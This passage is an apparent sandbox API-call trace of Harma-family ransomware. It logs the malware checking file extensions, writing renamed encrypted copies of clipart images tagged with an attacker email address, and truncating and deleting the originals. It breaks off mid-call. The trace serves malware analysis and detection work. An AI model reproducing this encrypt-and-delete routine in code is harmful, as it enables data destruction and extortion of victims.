(lpString1=".JPG", lpString2=".harma") returned 1 [0162.458] lstrlenW (lpString="J0099167.JPG") returned 12 [0162.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.468] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=43949) returned 1 [0162.469] CloseHandle (hObject=0x330) returned 1 [0162.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 0x20 [0162.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.472] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.472] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.473] GetLastError () returned 0x0 [0162.473] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xabad, lpOverlapped=0x0) returned 1 [0162.477] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xabb0, lpOverlapped=0x0) returned 1 [0162.479] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0162.480] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.480] SetEndOfFile (hFile=0x398) returned 1 [0162.480] CloseHandle (hObject=0x398) returned 1 [0162.480] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.481] SetEndOfFile (hFile=0x330) returned 1 [0162.487] CloseHandle (hObject=0x330) returned 1 [0162.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0162.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.489] lstrlenW (lpString=".doc") returned 4 [0162.489] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.489] lstrlenW (lpString=".docx") returned 5 [0162.489] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0162.489] lstrlenW (lpString=".pdf") returned 4 [0162.489] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.489] lstrlenW (lpString=".xls") returned 4 [0162.489] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.489] lstrlenW (lpString=".xlsx") returned 5 [0162.489] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0162.489] lstrlenW (lpString=".ppt") returned 4 [0162.489] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.489] lstrlenW (lpString=".zip") returned 4 [0162.489] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.490] lstrlenW (lpString=".rar") returned 4 [0162.490] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.490] lstrlenW (lpString=".bz2") returned 4 [0162.490] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.490] lstrlenW (lpString=".7z") returned 3 [0162.490] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.490] lstrlenW (lpString=".dbf") returned 4 [0162.490] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.490] lstrlenW (lpString=".1cd") returned 4 [0162.490] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.490] lstrlenW (lpString=".jpg") returned 4 [0162.491] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.491] lstrlenW (lpString=".doc") returned 4 [0162.491] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.491] lstrlenW (lpString=".docx") returned 5 [0162.491] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0162.491] lstrlenW (lpString=".pdf") returned 4 [0162.491] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.491] lstrlenW (lpString=".xls") returned 4 [0162.491] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.491] lstrlenW (lpString=".xlsx") returned 5 [0162.491] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0162.491] lstrlenW (lpString=".ppt") returned 4 [0162.491] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.492] lstrlenW (lpString=".zip") returned 4 [0162.492] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.492] lstrlenW (lpString=".rar") returned 4 [0162.492] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.492] lstrlenW (lpString=".bz2") returned 4 [0162.492] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.492] lstrlenW (lpString=".7z") returned 3 [0162.492] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.492] lstrlenW (lpString=".dbf") returned 4 [0162.492] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.492] lstrlenW (lpString=".1cd") returned 4 [0162.492] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63 [0162.492] lstrlenW (lpString=".jpg") returned 4 [0162.492] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.492] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0162.492] lstrlenW (lpString="J0099168.JPG") returned 12 [0162.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.493] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=20179) returned 1 [0162.494] CloseHandle (hObject=0x330) returned 1 [0162.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0162.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.494] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.494] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.495] GetLastError () returned 0x0 [0162.495] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0162.498] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0162.500] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0162.500] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.501] SetEndOfFile (hFile=0x398) returned 1 [0162.501] CloseHandle (hObject=0x398) returned 1 [0162.501] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.501] SetEndOfFile (hFile=0x330) returned 1 [0162.504] CloseHandle (hObject=0x330) returned 1 [0162.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0162.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.720] lstrlenW (lpString=".doc") returned 4 [0162.720] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.720] lstrlenW (lpString=".docx") returned 5 [0162.720] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0162.720] lstrlenW (lpString=".pdf") returned 4 [0162.720] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.720] lstrlenW (lpString=".xls") returned 4 [0162.720] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.720] lstrlenW (lpString=".xlsx") returned 5 [0162.720] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0162.720] lstrlenW (lpString=".ppt") returned 4 [0162.720] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.720] lstrlenW (lpString=".zip") returned 4 [0162.720] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.720] lstrlenW (lpString=".rar") returned 4 [0162.721] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.721] lstrlenW (lpString=".bz2") returned 4 [0162.721] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.721] lstrlenW (lpString=".7z") returned 3 [0162.721] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.721] lstrlenW (lpString=".dbf") returned 4 [0162.721] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.721] lstrlenW (lpString=".1cd") returned 4 [0162.721] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.722] lstrlenW (lpString=".jpg") returned 4 [0162.722] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.722] lstrlenW (lpString=".doc") returned 4 [0162.722] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.722] lstrlenW (lpString=".docx") returned 5 [0162.722] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0162.722] lstrlenW (lpString=".pdf") returned 4 [0162.722] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.722] lstrlenW (lpString=".xls") returned 4 [0162.722] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.722] lstrlenW (lpString=".xlsx") returned 5 [0162.722] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0162.722] lstrlenW (lpString=".ppt") returned 4 [0162.722] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.722] lstrlenW (lpString=".zip") returned 4 [0162.722] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.722] lstrlenW (lpString=".rar") returned 4 [0162.722] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.722] lstrlenW (lpString=".bz2") returned 4 [0162.722] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.722] lstrlenW (lpString=".7z") returned 3 [0162.723] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.723] lstrlenW (lpString=".dbf") returned 4 [0162.723] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.723] lstrlenW (lpString=".1cd") returned 4 [0162.723] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0162.723] lstrlenW (lpString=".jpg") returned 4 [0162.723] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.723] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0162.723] lstrlenW (lpString="J0099172.WMF") returned 12 [0162.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.870] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=58258) returned 1 [0162.870] CloseHandle (hObject=0x398) returned 1 [0162.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0163.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.022] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.022] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0163.023] GetLastError () returned 0x0 [0163.024] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xe392, lpOverlapped=0x0) returned 1 [0163.065] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe3a0, lpOverlapped=0x0) returned 1 [0163.068] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0163.068] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.068] SetEndOfFile (hFile=0x330) returned 1 [0163.068] CloseHandle (hObject=0x330) returned 1 [0163.068] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.068] SetEndOfFile (hFile=0x39c) returned 1 [0163.076] CloseHandle (hObject=0x39c) returned 1 [0163.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0163.080] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0163.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.081] lstrlenW (lpString=".doc") returned 4 [0163.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.081] lstrlenW (lpString=".docx") returned 5 [0163.081] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0163.081] lstrlenW (lpString=".pdf") returned 4 [0163.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.081] lstrlenW (lpString=".xls") returned 4 [0163.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.081] lstrlenW (lpString=".xlsx") returned 5 [0163.081] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0163.081] lstrlenW (lpString=".ppt") returned 4 [0163.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.082] lstrlenW (lpString=".zip") returned 4 [0163.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.082] lstrlenW (lpString=".rar") returned 4 [0163.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.082] lstrlenW (lpString=".bz2") returned 4 [0163.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.082] lstrlenW (lpString=".7z") returned 3 [0163.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.082] lstrlenW (lpString=".dbf") returned 4 [0163.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.082] lstrlenW (lpString=".1cd") returned 4 [0163.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.083] lstrlenW (lpString=".jpg") returned 4 [0163.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.083] lstrlenW (lpString=".doc") returned 4 [0163.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.083] lstrlenW (lpString=".docx") returned 5 [0163.083] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0163.083] lstrlenW (lpString=".pdf") returned 4 [0163.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.083] lstrlenW (lpString=".xls") returned 4 [0163.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.083] lstrlenW (lpString=".xlsx") returned 5 [0163.083] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0163.083] lstrlenW (lpString=".ppt") returned 4 [0163.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.083] lstrlenW (lpString=".zip") returned 4 [0163.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.083] lstrlenW (lpString=".rar") returned 4 [0163.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.083] lstrlenW (lpString=".bz2") returned 4 [0163.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.084] lstrlenW (lpString=".7z") returned 3 [0163.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.084] lstrlenW (lpString=".dbf") returned 4 [0163.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.084] lstrlenW (lpString=".1cd") returned 4 [0163.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0163.084] lstrlenW (lpString=".jpg") returned 4 [0163.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.085] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0163.085] lstrlenW (lpString="J0099178.WMF") returned 12 [0163.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0163.167] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3606) returned 1 [0163.167] CloseHandle (hObject=0x3a4) returned 1 [0163.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0163.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 